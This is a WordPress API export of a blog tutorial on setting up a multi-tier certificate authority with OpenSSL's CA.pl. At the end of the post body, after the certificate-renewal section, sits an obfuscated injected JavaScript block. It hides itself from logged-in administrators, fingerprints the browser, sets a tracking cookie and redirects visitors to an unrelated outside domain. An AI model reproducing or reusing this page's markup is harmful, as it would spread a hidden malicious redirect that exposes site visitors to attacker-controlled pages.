{"id":428,"date":"2012-05-04T13:55:28","date_gmt":"2012-05-04T05:55:28","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=428"},"modified":"2012-05-04T13:57:18","modified_gmt":"2012-05-04T05:57:18","slug":"create-your-own-ca","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/05\/04\/create-your-own-ca\/","title":{"rendered":"Create your own CA"},"content":{"rendered":"<p>This post will setup a multi-chain CA by using CA.pl in openssl.  This setup is dump and do not tend to use as large scale CA.  I serve my own purpose as issuing certificate to clients machine to connect the server using L2TP\/IPSec.<br \/>\n<!--more--><\/p>\n<h1>Key usage<\/h1>\n<p>You may reference <a href=\"http:\/\/publib.boulder.ibm.com\/infocenter\/domhelp\/v8r0\/index.jsp?topic=%2Fcom.ibm.help.domino.admin.doc%2FDOC%2FH_KEY_USAGE_EXTENSIONS_FOR_INTERNET_CERTIFICATES_1521_OVER.html\" target=\"_blank\">this article<\/a> to have a idea about key usage.<\/p>\n<h1>Software requirement<\/h1>\n<p><strong><\/p>\n<ul>\n<li>OS: Slackware 13.37<\/li>\n<li>bundled openssl<\/li>\n<\/ul>\n<p><\/strong><\/p>\n<h1>Root CA<\/h1>\n<p>The root CA is self-signed and issue certificate to subCA.  Following is the suggested file hierarchy path and options in <strong>openssl.cnf<\/strong>.<\/p>\n<ul>\n<li>Setup necessary files\n<pre>\r\nmkdir \/usr\/local\/CA\r\n\r\ncd \/usr\/local\/CA\r\nmkdir root\r\ncd root\r\ncp \/etc\/ssl\/misc\/* .\r\ncp \/etc\/ssl\/openssl.cnf .\r\n<\/pre>\n<\/li>\n<li>Modify openssl.cnf, suggested configuration option:\n<pre>\r\n[ CA_default ]\r\ndefault_days    = 3650\r\n\r\n[ req ]\r\ndefault_bits            = 2048\r\n\r\n[ req_distinguished_name ]\r\ncountryName_default             = HK\r\nstateOrProvinceName_default     = Hong Kong\r\nlocalityName_default            = Kowloon\r\n0.organizationName_default      = q-station.net\r\n\r\nSET-ex3                 = SET extension number 3\r\n\r\n[ v3_ca ]\r\nbasicConstraints = CA:true,pathlen:0\r\nkeyUsage = cRLSign, keyCertSign\r\nnsCertType = sslCA, emailCA, objsign\r\nauthorityInfoAccess = caIssuers;URI:http:\/\/www.q-station.net\/ca\r\ncrlDistributionPoints=URI:http:\/\/www.q-station.net\/ca\/root.crl\r\n<\/pre>\n<\/li>\n<li>Modify CA.pl\n<pre>\r\n$SSLEAY_CONFIG=\"-config .\/openssl.cnf\";\r\n$CADAYS=\"-days 7300\";   # 20 years\r\n<\/pre>\n<\/li>\n<li>Modify CA.pl\n<pre>\r\n$SSLEAY_CONFIG=\u201d-config .\/openssl.cnf\u201d;\r\n$DAYS=\u201d-days 1095\u2033; # 3 year\r\n<\/pre>\n<\/li>\n<li>Create self-signed CA\n<pre>\r\n.\/CA.pl -newca\r\n(press enter to create new cert)\r\n\r\n<strong>\r\ncountryName               = HK\r\nstateOrProvinceName       = Hong Kong\r\norganizationName          = q-station.net\r\norganizationalUnitName    = PKI\r\ncommonName                = Root CA\r\nemailAddress              = ca@q-station.net\r\n<\/strong>\r\n\r\n.\/CA.pl -signCA\r\n<\/pre>\n<\/li>\n<li>As the Root CA cert will be expiry after 20 years, while we would like certificate for subCA expiry in 10yrs, so we need to modify CA.pl again,\n<pre>\r\n$CADAYS=\"-days 3650\";   # 10 years\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Server CA<\/h1>\n<p>The server CA will mainly issue certificate for SSL server, such as, https site, VPN server, etc.<\/p>\n<ul>\n<li>Setup necessary files\n<pre>\r\ncd \/usr\/local\/CA\r\nmkdir server\r\ncd server\r\ncp \/etc\/ssl\/misc\/* .\r\ncp \/etc\/ssl\/openssl.cnf .\r\n<\/pre>\n<\/li>\n<li>Modify openssl.cnf, suggested configuration option:\n<pre>\r\n[ CA_default ]\r\ndefault_days    = 1095 # cert valid for 3yrs\r\n\r\n[ req ]\r\ndefault_bits            = 2048\r\n\r\n[ req_distinguished_name ]\r\ncountryName_default             = HK\r\nstateOrProvinceName_default     = Hong Kong\r\nlocalityName_default            = Kowloon\r\n0.organizationName_default      = q-station.net\r\n\r\nSET-ex3                 = SET extension number 3\r\n\r\n[ usr_cert ]\r\nbasicConstraints=CA:FALSE\r\nnsCertType                      = server\r\nkeyUsage = nonRepudiation, digitalSignature, keyEncipherment\r\n\r\nextendedKeyUsage=serverAuth,clientAuth\r\nauthorityInfoAccess = caIssuers;URI:http:\/\/www.q-station.net\/ca\r\ncrlDistributionPoints=URI:http:\/\/www.q-station.net\/ca\/server.crl\r\n<\/pre>\n<\/li>\n<li>Modify CA.pl\n<pre>\r\n$SSLEAY_CONFIG=\"-config .\/openssl.cnf\";\r\n<\/pre>\n<\/li>\n<li>Create certificate for Server CA\n<pre>\r\ncd \/usr\/local\/CA\/root\r\n.\/CA.pl -newreq-nodes\r\n<strong>\r\ncountryName               = HK\r\nstateOrProvinceName       = Hong Kong\r\nLocality Name             = Kowloon\r\norganizationName          = q-station.net\r\norganizationalUnitName    = PKI\r\ncommonName                = Server CA\r\nemailAddress              = ca@q-station.net\r\n<\/strong>\r\n\r\n.\/CA.pl -signCA\r\n\r\ncat newcert.pem newkey.pem > serverca.pem # serverca cert for later use\r\nmv serverca.pem ..\/server\/\r\nrm newcert.pem  newkey.pem   newreq.pem\r\n<\/pre>\n<\/li>\n<li>Create ServerCA\n<pre>\r\ncd \/usr\/local\/CA\/server\r\n.\/CA.pl -newca\r\nenter <strong>serverca.pem<\/strong> as CA certificate filename\r\nopenssl x509 -in demoCA\/cacert.pem -noout -next_serial -out demoCA\/serial # for serial\r\nrm serverca.pem\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Machine CA<\/h1>\n<p>Machine CA issue certificate for L2TP\/IPSec client.  It is a machine certificate in Windows machine.<\/p>\n<p>Create the machine CA follow the similar procedure as Server CA, in brief,<\/p>\n<ul>\n<li>\n<pre>\r\ncd \/usr\/local\/CA\r\nmkdir machine\r\ncd machine\r\ncp \/etc\/ssl\/misc\/* .\r\ncp \/etc\/ssl\/openssl.cnf .\r\n<\/pre>\n<\/li>\n<li>openssl.cnf\n<pre>\r\n[ CA_default ]\r\ndefault_days    = 1095 # cert valid for 3yrs\r\n\r\n[ req ]\r\ndefault_bits            = 2048\r\n\r\n[ req_distinguished_name ]\r\ncountryName_default             = HK\r\nstateOrProvinceName_default     = Hong Kong\r\nlocalityName_default            = Kowloon\r\n0.organizationName_default      = q-station.net\r\n\r\nSET-ex3                 = SET extension number 3\r\n\r\n[ usr_cert ]\r\nbasicConstraints=CA:FALSE\r\nnsCertType                      = client\r\nkeyUsage = digitalSignature, keyEncipherment, keyAgreement\r\nextendedKeyUsage=clientAuth\r\n\r\nauthorityInfoAccess = caIssuers;URI:http:\/\/www.q-station.net\/ca\r\ncrlDistributionPoints=URI:http:\/\/www.q-station.net\/ca\/machine.crl\r\n<\/pre>\n<li>modify CA.pl\n<\/li>\n<li>Create machineCA, simply under root CA, make a new request and sign it.  Copy the new cert with server key to machine CA.  Running .\/CA.pl -newca with the cert and create the serial file.  Cert request attribute for ref:\n<pre>\r\ncountryName               = HK\r\nstateOrProvinceName       = Hong Kong\r\nlocalityName              = Kowloon\r\norganizationName          = q-station.net\r\norganizationalUnitName    = PKI\r\ncommonName                = Machine CA\r\nemailAddress              = ca@q-station.net\r\n<\/pre>\n<\/li>\n<h1>Person CA<\/h1>\n<p>Person CA issue certificate for people.  People could use the cert to encrypt, sign the email or serve as client authentication.<\/p>\n<p>Create the person CA follow the similar procedure as Server CA, in brief,<\/p>\n<ul>\n<li>\n<pre>\r\ncd \/usr\/local\/CA\r\nmkdir person\r\ncd person\r\ncp \/etc\/ssl\/misc\/* .\r\ncp \/etc\/ssl\/openssl.cnf .\r\n<\/pre>\n<\/li>\n<li>openssl.cnf\n<pre>\r\n[ CA_default ]\r\ndefault_days    = 1095 # cert valid for 3yrs\r\n\r\n[ req ]\r\ndefault_bits            = 2048\r\n\r\n[ req_distinguished_name ]\r\ncountryName_default             = HK\r\nstateOrProvinceName_default     = Hong Kong\r\nlocalityName_default            = Kowloon\r\n0.organizationName_default      = q-station.net\r\n\r\nSET-ex3                 = SET extension number 3\r\n\r\n[ usr_cert ]\r\nnsCertType = client, email, objsign\r\nkeyUsage = digitalSignature, keyEncipherment, keyAgreement, nonRepudiation\r\nextendedKeyUsage=clientAuth,emailProtection\r\nsubjectAltName=email:copy\r\n\r\nauthorityInfoAccess = caIssuers;URI:http:\/\/www.q-station.net\/ca\r\ncrlDistributionPoints=URI:http:\/\/www.q-station.net\/ca\/person.crl\r\n<\/pre>\n<li>modify CA.pl\n<\/li>\n<li>Create person CA, simply under root CA, make a new request and sign it.  Copy the new cert with server key to person CA.  Running .\/CA.pl -newca with the cert and create the serial file.  Cert request attribute for ref:\n<pre>\r\ncountryName               = HK\r\nstateOrProvinceName       = Hong Kong\r\nlocalityName              = Kowloon\r\norganizationName          = q-station.net\r\norganizationalUnitName    = PKI\r\ncommonName                = Person CA\r\nemailAddress              = ca@q-station.net\r\n<\/pre>\n<\/li>\n<h1>Export Certificate for Windows<\/h1>\n<p>You should bundle the whole CA chain to include in the pkcs12 file.<\/p>\n<pre>\r\ncat machine\/demoCA\/cacert.pem root\/demoCA\/cacert.pem > cabundle.pem\r\n\r\nopenssl pkcs12 -export -inkey newkey.pem -in newcert.pem -out wincert.pfx -certfile cabundle.pem -name 'WinXP cert'\r\n<\/pre>\n<h1>Revoke the certificate<\/h1>\n<pre>\r\nopenssl ca -config .\/openssl.cnf -revoke newcert.pem\r\nopenssl ca -gencrl -config .\/openssl.cnf -out \/tmp\/crl.crl\r\nopenssl crl -in \/tmp\/crl.crl -text|less\r\n<\/pre>\n<h1>Renew certificate<\/h1>\n<pre>\r\nopenssl ca -config \/etc\/openssl.cnf -policy policy_anything -out newcert.pem \\\r\n-infiles newreq.pem -startdate [now] -enddate [previous enddate+365days]\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post will setup a multi-chain CA by using CA.pl in openssl. This setup is dump and do not tend to use as large scale CA. I serve my own purpose as issuing certificate to clients machine to connect the server using L2TP\/IPSec.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[27],"tags":[65,64],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/428"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=428"}],"version-history":[{"count":30,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/428\/revisions"}],"predecessor-version":[{"id":477,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/428\/revisions\/477"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=428"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=428"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=428"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}